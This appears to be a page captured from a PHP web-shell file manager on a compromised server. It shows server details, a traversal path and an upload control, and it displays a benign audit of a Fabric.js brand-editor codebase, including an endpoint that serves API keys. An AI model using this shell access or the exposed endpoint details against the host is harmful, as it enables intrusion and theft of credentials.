(　′∀`)σ≡σ☆))Д′)ﾚ(ﾟ∀ﾟ;)ﾍ=З=З=Зε≡(ノ´＿ゝ｀）ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
$ pwd: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/../wowZ/
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/..//tmpr/../tmpr/../wowZ/audit.md
# Brand AI Wow Editor – Comprehensive Audit

## Overview
- Modular PHP includes drive the editor layout and panel content for desktop/mobile.
- jQuery-based routing binds tab/menu clicks to show panels and open compact modals.
- Fabric.js powers canvas operations (text, shapes, elements, filters, image adjustments).
- Backend PHP endpoints provide asset search (templates, SVGs) and protected access to third‑party API keys.

## Entry Points
- `editorX.php`: wiring of core UI includes and hidden runtime inputs. Examples:
  - Includes icon menu/panel, body, right column: `editorX.php:16`, `editorX.php:20`, `editorX.php:28`, `editorX.php:36`.
  - Hidden inputs for user and theme: `editorX.php:60`–`editorX.php:78`.
- `index.php`: entry point that embeds navigation components and modals:
  - Styles and scripts includes: `index.php:60`–`index.php:74`, `index.php:77`–`index.php:78`.
  - Presets and header sections: `index.php:184`, `index.php:187`, `index.php:192`.
  - Mobile/desktop environment selection and TheBrandRoot flags: `index.php:200`–`index.php:213` (mobile), `index.php:214`–`index.php:216` (landscape).
  - Hidden runtime inputs (clicked element, theme, user, colors, admin): `index.php:160`–`index.php:169`.
  - Includes `beautiful/includes/sections/TheBrandNavTools.php` and `beautiful/includes/sections/TheBrandNavMain.php`: `index.php:225`–`index.php:228`.
  - TheBrandMain wrapper: `index.php:229`–`index.php:242`.
  - Modal includes for new/save/library/bg/svg/history: `index.php:273`–`index.php:279`.
  - Runtime JS and custom hooks: `index.php:289`–`index.php:300`, `index.php:296`.

## Navigation and Panels
- Top bar actions and global controls:
  - `includes/sections/brand-elements-content:74`–`includes/sections/brand-elements-content:79` New action.
  - Zoom controls: `includes/sections/brand-elements-content:46`–`includes/sections/brand-elements-content:71`.
  - Undo/Redo/History and theme toggles: `includes/sections/brand-elements-content:100`–`includes/sections/brand-elements-content:168`.
- Main navigation (desktop aesthetics):
  - `beautiful/includes/sections/TheBrandNavMain.php`: defines tab list entries (Text, Image, Shapes, Elements, Adjust, Effects, Apps) with `aria-controls` mapping, e.g. Text → `panel-brand-tab-annotate`: `beautiful/includes/sections/TheBrandNavMain.php:6`–`beautiful/includes/sections/TheBrandNavMain.php:21`.
- Mobile/beautiful tab orchestration wrappers:
  - `assetsX/includesMobile/parts/tabsMain.php` and `beautiful/includes/sections/tabsMain.php` include header and mid content for each panel: `assetsX/includesMobile/parts/tabsMain.php:5`–`assetsX/includesMobile/parts/tabsMain.php:29`.
- Icon panel mounting of mid sections:
  - `editorIncludes/icon-panel.php` wires Adjust, Text, Image, Shapes, Elements, QR, Drawing: `editorIncludes/icon-panel.php:1`–`editorIncludes/icon-panel.php:23`.

## Interaction Flow
- TheBrandNav tabs dispatch to panels via `aria-controls` and are handled by the click router: `includes/sections/scripts.php:31`–`includes/sections/scripts.php:63`.
- When a nav item (e.g., `li#Card-Text`) is clicked, the router:
  - Hides other panels and top tabs: `includes/sections/scripts.php:69`–`includes/sections/scripts.php:86`.
  - Opens compact modals based on the target (Text/Image/Shapes/Elements/Adjust/Effects/Apps): references above in “Panel Content and Compact Modals”.
  - Shows the panel by ID and the matching icon-panel card by class: `includes/sections/scripts.php:255`–`includes/sections/scripts.php:260` (maps `#panel-util-*` and `.` + `Card-*`).
- Icon panel container and mapping:
  - Container `#brand-icon-panel` holds feature sections inside `#brand-icon-panel-inner`: `editorIncludes/icon-panel.php:1`–`editorIncludes/icon-panel.php:2`.
  - Each feature module renders a card with class matching the nav item ID (e.g., `.Card-Text`), enabling `targetCardId` → card display: `assetsX/includesMobile/mid/text.php:3`.
- Feature interactions inside the icon panel:
  - Image: tab menu toggles between Image and Overlay modes via `data-target` → `.brand-tab` switching: `assetsX/includesMobile/mid/image.php:3`–`assetsX/includesMobile/mid/image.php:7`, `assetsX/includesMobile/mid/image.php:109`–`assetsX/includesMobile/mid/image.php:121`.
  - Shapes and Text: alignment/centering and transform controls (skew/rotate) via buttons and sliders: `assetsX/includesMobile/mid/text.php:165`–`assetsX/includesMobile/mid/text.php:167`, `assetsX/includesMobile/mid/text.php:176`–`assetsX/includesMobile/mid/text.php:193`; `assetsX/includesMobile/mid/shapes.php:114`–`assetsX/includesMobile/mid/shapes.php:116`, `assetsX/includesMobile/mid/shapes.php:120`–`assetsX/includesMobile/mid/shapes.php:142`.
  - Adjust: toggles enable conditional settings (blur, noise, pixelate) that expose sliders to adjust filter intensity: `assetsX/includesMobile/mid/adjust.php:49`–`assetsX/includesMobile/mid/adjust.php:99`.
  - QR: inputs and sliders configure and render a QR code preview and generate action: `assetsX/includesMobile/mid/qr.php:2`–`assetsX/includesMobile/mid/qr.php:68`.
  - Drawing: starts brush/eraser tools and configures brush parameters (type, width, pattern, shadow): `assetsX/includesMobile/mid/drawing.php:4`–`assetsX/includesMobile/mid/drawing.php:26`, `assetsX/includesMobile/mid/drawing.php:29`–`assetsX/includesMobile/mid/drawing.php:90`.
- Controls pattern:
  - `data-conditional` checkboxes toggle visibility of `conditional-settings` sections (common across modules).
  - Sliders (`.brand-slider`) adjust Fabric object properties (opacity/skew/rotate/etc.).
  - Action buttons with semantic IDs (e.g., `#brand-horizontal-center`, `#brand-vertical-center`, `#brand-generate-qr-code`) invoke corresponding canvas operations bound in runtime JS.

## Panel Content and Compact Modals
- Routing and modal opening logic (central):
  - `includes/sections/scripts.php` handles click events, hides/shows panels, and opens compact modals based on `targetPanelId`:
    - Text panel opens `#modal-text-compact` and shows text options: `includes/sections/scripts.php:114`–`includes/sections/scripts.php:133`.
    - Image panel opens `#modal-image-compact` and image options: `includes/sections/scripts.php:215`–`includes/sections/scripts.php:231`.
    - Shapes panel opens `#modal-shapes-compact`: `includes/sections/scripts.php:235`–`includes/sections/scripts.php:243`.
    - Elements panel triggers elements button and top options: `includes/sections/scripts.php:194`–`includes/sections/scripts.php:209`.
    - Adjust panel opens `#modal-adjust-compact`: `includes/sections/scripts.php:138`–`includes/sections/scripts.php:154`.
    - Effects panel opens `#modal-tools-compact`: `includes/sections/scripts.php:176`–`includes/sections/scripts.php:186`.
    - Apps panel opens `#modal-app-compact`: `includes/sections/scripts.php:162`–`includes/sections/scripts.php:171`.
  - Radio group routing for secondary/tertiary tabs and asset triggers:
    - Elements chooser dispatch to accordion: `includes/sections/scripts.php:600`–`includes/sections/scripts.php:626`.
    - Frames chooser dispatch: `includes/sections/scripts.php:627`–`includes/sections/scripts.php:653`.
    - Icons search trigger: `includes/sections/scripts.php:581`–`includes/sections/scripts.php:588`.
- Specific compact modal structures:
  - Frames options modal: `editorIncludes/modal-compact-frames.php:1`–`editorIncludes/modal-compact-frames.php:24`.
  - Add New modal tabs including Blank Canvas sizing: `includes/modal/addnew.php:966`–`includes/modal/addnew.php:986`.
  - Media library and history are included from `editorIncludes` via `indexbckp.php:409`–`indexbckp.php:416`.

## Fabric.js and Canvas Logic
- Core Fabric.js library: `js/fabric.min.js:1`–`js/fabric.min.js:5` (v5.3.0).
- Augmentations and plugins:
  - Alignment guidelines, DPI tweaks, eraser brush in `js/plugins.min.js:69`–`js/plugins.min.js:83` and neighboring sections.
- Canvas operations and image handling:
  - Background image setting and resizing with Fabric canvas and temp canvas: `js/ai.js:620`–`js/ai.js:650`.
- Minified runtime glue:
  - `js/brand.min.js:1` initializes editor, API keys, pagination, and binds UI events.

## Styles and Aesthetics
- Global editor styles for navigation, panels, filters, compact layouts:
  - `beautiful/brand.css`: portrait/landscape layout rules, filter panel styling, disabled states: `beautiful/brand.css:801`–`beautiful/brand.css:859`, `beautiful/brand.css:1299`–`beautiful/brand.css:1393`, `beautiful/brand.css:2268`–`beautiful/brand.css:2322`.
- Local section styles and mobile adjustments: `includes/sections/styles.php:1`–`includes/sections/styles.php:72`.
- General site styles including search UI and form controls: `css/style.css:2197`–`css/style.css:2292`.

## Mobile Includes and Configuration
- Config for theme initialization and redirects:
  - `assetsX/includesMobile/parts/config.php` decodes `themeid`, handles `newTheme` flow, and validates session/user: `assetsX/includesMobile/parts/config.php:20`–`assetsX/includesMobile/parts/config.php:44`, `assetsX/includesMobile/parts/config.php:60`–`assetsX/includesMobile/parts/config.php:71`, `assetsX/includesMobile/parts/config.php:98`–`assetsX/includesMobile/parts/config.php:116`.
- Mobile headers with modal routing mirrors: `assetsX/includesMobile/parts/header.php:206`–`assetsX/includesMobile/parts/header.php:254`.

## Backend Endpoints
- API key retrieval with bearer token and referrer protection:
  - `php/get_api_keys.php:4`–`php/get_api_keys.php:10` auth token check; `php/get_api_keys.php:14`–`php/get_api_keys.php:25` referrer checks; env keys exposed in JSON: `php/get_api_keys.php:27`–`php/get_api_keys.php:41`.
- Templates search with PDO and pagination:
  - `files/connect/themes.php`: referrer checks `files/connect/themes.php:10`–`files/connect/themes.php:21`; query handling `files/connect/themes.php:26`–`files/connect/themes.php:55`; conditional SQL based on numeric vs text search `files/connect/themes.php:63`–`files/connect/themes.php:99`; pagination HTML building `files/connect/themes.php:200`–`files/connect/themes.php:344`.
- SVG search and listing:
  - `files/connect/svgs.php`: referrer checks `files/connect/svgs.php:11`–`files/connect/svgs.php:22`; query processing `files/connect/svgs.php:47`–`files/connect/svgs.php:68`; result shaping to asset URLs and titles `files/connect/svgs.php:87`–`files/connect/svgs.php:111`; pagination HTML `files/connect/svgs.php:170`–`files/connect/svgs.php:316`.

## Panel Implementations (Examples)
- Text: Util panel scaffold with control lists and styles shown in mobile/beautiful variants, e.g., `assetsX/includesMobile/text.php:627`–`assetsX/includesMobile/text.php:651`.
- Effects/Filters: Util panel with filter options and control list: `beautiful/includes/sections/TheBrandMain.php:295`–`beautiful/includes/sections/TheBrandMain.php:320`.
- Adjust/Crop/Finetune: Control tabs within `TheBrandMain` and mobile analogs: `beautiful/includes/sections/TheBrandMain.php:156`–`beautiful/includes/sections/TheBrandMain.php:212`.

## Observations and Gaps
- Missing rate limiting around `php/get_api_keys.php` responses; consider adding per‑IP throttling and token rotation.
- Mobile zoom controls in `includes/sections/brand-elements-content` are present but the counter input is hidden; ensure accessible feedback and debounce on zoom updates.
- Central routing duplication exists in `includes/sections/scripts.php` and `assetsX/includesMobile/parts/header.php`; consolidating into a single router improves maintainability.

## How Things Work Together
- Tab clicks dispatch via `aria-controls` to show `TheBrandTabPanel` sections and trigger matching compact modals; jQuery handlers manage visibility and toggle the left drawer (`#brand-toggle-left`).
- Secondary radio groups drive deeper routing to specific content areas (elements, frames) by programmatically triggering corresponding accordion items.
- Fabric.js canvas is manipulated through higher‑level actions (add text, upload image, apply filters) wired from modals and panel buttons; visual feedback and control panels are rendered via `TheBrand` CSS.

## Quick File Map
- Panels routing: `includes/sections/scripts.php`.
- Top bar & global actions: `includes/sections/brand-elements-content`.
- Icon panel content: `editorIncludes/icon-panel.php`.
- Compact modals: `editorIncludes/modal-compact-*`, `includes/modal/addnew.php`.
- Navigation UI: `beautiful/includes/sections/TheBrandNavMain.php`, `beautiful/includes/sections/TheBrandNavTools.php`.
- Canvas logic: `js/ai.js`, `js/plugins.min.js`, `js/fabric.min.js`, `js/brand.min.js`.
- Backend: `php/get_api_keys.php`, `files/connect/themes.php`, `files/connect/svgs.php`.
- Styles: `beautiful/brand.css`, `css/style.css`, `includes/sections/styles.php`.
@ Telegram